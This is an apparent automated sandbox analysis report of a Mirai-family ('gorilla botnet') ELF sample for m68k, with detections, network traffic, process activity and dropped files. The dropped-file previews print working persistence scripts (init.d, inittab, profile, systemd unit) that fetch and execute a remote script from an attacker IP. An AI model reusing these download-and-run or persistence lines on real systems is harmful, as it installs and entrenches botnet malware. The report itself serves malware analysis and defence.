Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
m68k.nn.elf	34%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

Source	Detection	Scanner	Label	Link
/etc/rc.local	0%	ReversingLabs

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi	m68k.nn.elf	false	high
http://193.143.1.70/curl.sh	m68k.nn.elf	false	high
http://193.143.1.70/lol.sh	m68k.nn.elf	false	high
http://193.143.1.70/	m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, m68k.nn.elf.36.dr, bootcmd.12.dr, custom.service.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
154.216.19.139	unknown	Seychelles		135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
154.216.19.139	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	kj5f8keqNK.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	Mozi.m.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.24
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	jzyKEkkDsV.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	sora.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	sora.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.139
	jzyKEkkDsV.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	1732341065aa3050236bf0a757080986a42d53699fd38d78c31f65f12b4934c9236ce70a12688.dat-decoded.exe	Get hash	malicious	XenoRAT	Browse	154.216.17.204
	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Get hash	malicious	XWorm	Browse	154.216.17.204
	1732341066786265aade6e9541774ff20509504237780da7874a65dc23bf44c6634c553abe427.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.17.204
	17323410671691fb610332a2a23e84df9d573b6d7d338d6835a49e8e0241717de8180586cb855.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.17.204
	17323410673807b67d8bb6f66f1d676167634fbe15d4743d1d486ea52ce68855c1615ccc44621.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.17.204
	1732341065aa3050236bf0a757080986a42d53699fd38d78c31f65f12b4934c9236ce70a12688.dat-decoded.exe	Get hash	malicious	XenoRAT	Browse	154.216.17.204
	test1.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	154.216.17.193

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/m68k.nn.elf	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/m68k.nn.elf	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/system	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/system	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/rc.local	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	118
Entropy (8bit):	4.648756146188875
Encrypted:	false
SSDEEP:	3:KPJRXSC/ANFDDoC6WgrbkILbaaFOdFXa5O:WJRlufonWgrZbaaeXCO
MD5:	D92F5E8E17BDB4502DE149B09746D400
SHA1:	D56B28286B13518769A4B27555F875EE4B36DB56
SHA-256:	5C90BE50A0DDA68C384B3B56B21DB30C1F0CCF9E00A13D90421EA0E436A7E61F
SHA-512:	5F1ED84FB5089CD017B0907A55C97F12951EE500E8C8A1A357027701C2EC4EE26430DF4A623068D7D04BD6802C12F8E4F58281736C38986398DBA8325BE4884B
Malicious:	false
Reputation:	low
Preview:	run bootcmd_mmc0; /tmp/m68k.nn.elf && wget http://193.143.1.70/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/m68k.nn.elf

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	398
Entropy (8bit):	4.586399031280707
Encrypted:	false
SSDEEP:	12:QRkiMEXNxl8RUJgjvMHK2FSuKN+dRRucSOyd3:vRWISzhYOM3
MD5:	14CB06C643C4DCA73B64B23284CF2763
SHA1:	96993D1DCEA6A6F005F554569CD1C8AAFB08FBBB
SHA-256:	3AADC3766DB7E7F284DE0497F08BD2B1772B123C537BA087DD7DA7C37919E023
SHA-512:	63ABD56C1C266B0EB8D98C3FD47FB88FD09A37DFDD67C4A59EC679C43BAF987D961D3B60FF338F0D069B89DC2600628AC0814D7890F891B62487AB6CD0072E89
Malicious:	true
Joe Sandbox View:	Filename: m68k.nn.elf, Detection: malicious, Browse Filename: m68k.nn.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh.# /etc/init.d/m68k.nn.elf..case "" in. start). echo 'Starting m68k.nn.elf'. /tmp/m68k.nn.elf &. wget http://193.143.1.70/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping m68k.nn.elf'. killall m68k.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/init.d/system

Download File

Process:	/tmp/m68k.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	105
Entropy (8bit):	4.649400035181374
Encrypted:	false
SSDEEP:	3:TKH4vZKSC/ANFDvSDRFXWgrbkILpaKB0dFLoKE0:h8luzSXXWgrZzBeLXE0
MD5:	E6A67B96787FC1B6EDA521646D9920CD
SHA1:	E59A352E76F3C709F37C670AE2E4EEAF337CB5A9
SHA-256:	5D4E84611ADE58BDFABC1E3D137026054CB5744D1BD224BFBAF1B10E46E8404C
SHA-512:	D388E666B0D683949626DBBA7E050F1D8125BE5C57419F6F53DECA19CB1B64DCB94E3097C96C430B28E9FEB71F3C5D4264264C667EC2961479F2B3C4C116447A
Malicious:	true
Joe Sandbox View:	Filename: m68k.nn.elf, Detection: malicious, Browse Filename: m68k.nn.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh./tmp/m68k.nn.elf &.wget http://193.143.1.70/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/inittab

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.601231599772524
Encrypted:	false
SSDEEP:	3:nAWu58C/ANFDDoC6WgrbkILbaaFOdFXa5O:ANufonWgrZbaaeXCO
MD5:	CFCDBD3AA5CBD4171FCD40080EB52E47
SHA1:	406C8A608D611B3F6BBBE624935CFE4A5186347B
SHA-256:	C06E2679C4765D701B03A76E0010DBA34BC6A2A7E30E6402B8BA6FFFCED6C4DB
SHA-512:	80BE4C753C7DCE271CD755AC931582BAC2C4DAA4EC57AC598A9E647743BD514B17F2A239629A2BA89A2BF46F10ED7E88D58212B504ABAAB42340E3D7DC73F43D
Malicious:	false
Reputation:	low
Preview:	::respawn:/tmp/m68k.nn.elf && wget http://193.143.1.70/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.488319695814355
Encrypted:	false
SSDEEP:	3:TgSC/ANFDvSDRFXWgrbkILbaaFOdFXa50:TgluzSXXWgrZbaaeXC0
MD5:	F20A89BA494D443C4631AF3C5DCAAE36
SHA1:	9DF4F458CF5AB8D30516106C240EA2776946DDBA
SHA-256:	F5BFC66DC714E549923EDE002A8BB3358537F264A1080B4827742E6582FBACDA
SHA-512:	D83F142FF3C3EB9C8938719364A0F09D15BAFAFD1EDE2D4B0CD92FC093DB8F9A7FC03DFA1643C731D3444A4B5D0E153C6B0521AE7C55A83A01EE6B88621286A8
Malicious:	true
Preview:	/tmp/m68k.nn.elf &.wget http://193.143.1.70/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/m68k.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: m68k.nn.elf, Detection: malicious, Browse Filename: arm7.nn.elf, Detection: malicious, Browse Filename: mipsel.nn.elf, Detection: malicious, Browse Filename: sparc.nn.elf, Detection: malicious, Browse Filename: arm.nn.elf, Detection: malicious, Browse Filename: powerpc.nn.elf, Detection: malicious, Browse Filename: arm5.nn.elf, Detection: malicious, Browse Filename: mips.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.065814119373622
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+xE02+GWRdCWgrL+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+xEp+GWRdk+GWRXY+GWRuL6
MD5:	BF3F0CC70BF8D3E32BBFBE3CEDC43163
SHA1:	CB741181853423039BE639E8900AFAD415D517CD
SHA-256:	EA1D8F5173116929B42FEAFD9E4B3B101BB39BCDAF3F27FD36F6AE1EF00D1D4C
SHA-512:	7D82E155B2AB39303D56A07479EE85766C0A9A40A93DCA33674E51590DEF92088C84EA39E82E13551719E6FFE40867715AF36B907735A9CDDAEE17A71B26A77D
Malicious:	false
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/m68k.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://193.143.1.70/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.NgO5at (deleted)

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.6168746059562227
Encrypted:	false
SSDEEP:	3:TgSC/ANln:TglOn
MD5:	CF5BFD6A623ECC046218AA0EBA4D8FE7
SHA1:	E3F0D3236A8D19B35DB7D7F81FECBA0A5D613E88
SHA-256:	C3A372684D6533CABFEC9940A5B0C21F5CD8C12CE9FECD07DE6D5C5E31C00560
SHA-512:	F2C31F4B0FA981357F508A6C3B32A3DAEDC609FDE9EC704411D022BE11643B7F6EC039421ACB9EDE5334ACA2A7F1068D5B55106F4BF46327A229E2A04D31547B
Malicious:	false
Preview:	/tmp/m68k.nn.elf.

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.426889750636427
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	m68k.nn.elf
File size:	116'824 bytes
MD5:	121b75151974de520fd8169c5035e9dc
SHA1:	d84f78664394bba19fb1c7bff7bee06edd2c7de8
SHA256:	e4483ccfcae1edd9f9b0ffb401f3ab5be6fa0cb0dcd17831ded285966604e6eb
SHA512:	45f0835f2872aa6e3143dc467405c7af606b670f8a8df8cd224392456b7cec920718e91e7fed21e9246f4d86cbbe28449f7461867d12bdbd5fb54df93a1fe151
SSDEEP:	3072:2mLjMtcNiDvv8C7smjW1Ki1dF09yTmv4P8+Hkkjg8D:FMtUTCyTim82kmlD
TLSH:	1CB33AC6F800CABDF91ED67B54270B19B57063615F520F27A25BFEA3ADB11E4081BE81
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. .......................($...... .dt.Q............................NV..a....da....$N^NuNV..J9....f>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy....N.X.........N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	116424
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x18f4e	0x0	0x6	AX	4
.fini	PROGBITS	0x80018ff6	0x18ff6	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80019004	0x19004	0x30b8	0x0	0x2	A	2
.ctors	PROGBITS	0x8001e0c0	0x1c0c0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8001e0c8	0x1c0c8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8001e0d4	0x1c0d4	0x5b4	0x0	0x3	WA	4
.bss	NOBITS	0x8001e688	0x1c688	0x225c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1c688	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x1c0bc	0x1c0bc	6.4385	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1c0c0	0x8001e0c0	0x8001e0c0	0x5c8	0x2824	5.0448	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 05:02:55.233901978 CET	40286	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.355465889 CET	199	40286	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.355529070 CET	40286	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.359510899 CET	40286	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.361591101 CET	40286	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.368453026 CET	40288	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.479060888 CET	199	40286	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.487917900 CET	199	40288	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.487968922 CET	40288	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.489228964 CET	40288	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.489887953 CET	40288	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.493213892 CET	40290	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.525002956 CET	199	40286	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.608686924 CET	199	40288	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.612670898 CET	199	40290	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.612730980 CET	40290	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.614250898 CET	40290	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.615084887 CET	40290	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.630811930 CET	40292	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.653012037 CET	199	40288	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.733676910 CET	199	40290	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.750389099 CET	199	40292	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.750442028 CET	40292	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.754146099 CET	40292	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.756309986 CET	40292	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.763883114 CET	40294	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.781022072 CET	199	40290	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.874166965 CET	199	40292	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.884033918 CET	199	40294	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:55.884089947 CET	40294	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.887629986 CET	40294	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.889836073 CET	40294	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.893531084 CET	40296	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:55.917021990 CET	199	40292	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.007148027 CET	199	40294	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.013044119 CET	199	40296	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.013185978 CET	40296	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.053011894 CET	199	40294	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.102592945 CET	40296	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.104814053 CET	40296	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.144887924 CET	40298	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.222048998 CET	199	40296	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.264381886 CET	199	40298	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.264967918 CET	199	40296	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.266839981 CET	40298	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.271090984 CET	40298	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.273147106 CET	40298	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.279613018 CET	40300	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.390571117 CET	199	40298	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.399179935 CET	199	40300	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.399247885 CET	40300	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.432389975 CET	40300	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.433010101 CET	199	40298	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.444963932 CET	40300	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:56.552581072 CET	199	40300	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:56.609018087 CET	199	40300	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:57.621618032 CET	199	40286	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:57.621676922 CET	40286	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:57.705032110 CET	199	40288	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:57.705137968 CET	40288	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:57.876738071 CET	199	40290	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:57.876857996 CET	40290	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:58.017239094 CET	199	40292	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:58.017309904 CET	40292	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:58.183329105 CET	199	40294	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:58.183412075 CET	40294	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:58.235399961 CET	199	40296	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:58.235475063 CET	40296	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:58.557904959 CET	199	40298	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:58.557971954 CET	40298	199	192.168.2.13	154.216.19.139
Nov 24, 2024 05:02:58.624849081 CET	199	40300	154.216.19.139	192.168.2.13
Nov 24, 2024 05:02:58.624917030 CET	40300	199	192.168.2.13	154.216.19.139

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 05:02:58.068034887 CET	50795	53	192.168.2.13	8.8.8.8
Nov 24, 2024 05:02:58.068089962 CET	49350	53	192.168.2.13	8.8.8.8
Nov 24, 2024 05:02:58.190403938 CET	53	49350	8.8.8.8	192.168.2.13
Nov 24, 2024 05:02:58.201539993 CET	53	50795	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 05:02:58.068034887 CET	192.168.2.13	8.8.8.8	0x52a7	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:02:58.068089962 CET	192.168.2.13	8.8.8.8	0xe648	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 05:02:58.201539993 CET	8.8.8.8	192.168.2.13	0x52a7	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Nov 24, 2024 05:02:58.201539993 CET	8.8.8.8	192.168.2.13	0x52a7	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: m68k.nn.elf PID: 5426, Parent PID: 5350

General

Start time (UTC):	04:02:53
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	/tmp/m68k.nn.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5442, Parent PID: 5426

General

Start time (UTC):	04:02:53
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5463, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5463, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5472, Parent PID: 5463

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5472, Parent PID: 5463

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5495, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5495, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5501, Parent PID: 5495

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5501, Parent PID: 5495

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/system
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5502, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5502, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5506, Parent PID: 5502

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 5506, Parent PID: 5502

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/system /etc/rcS.d/S99system
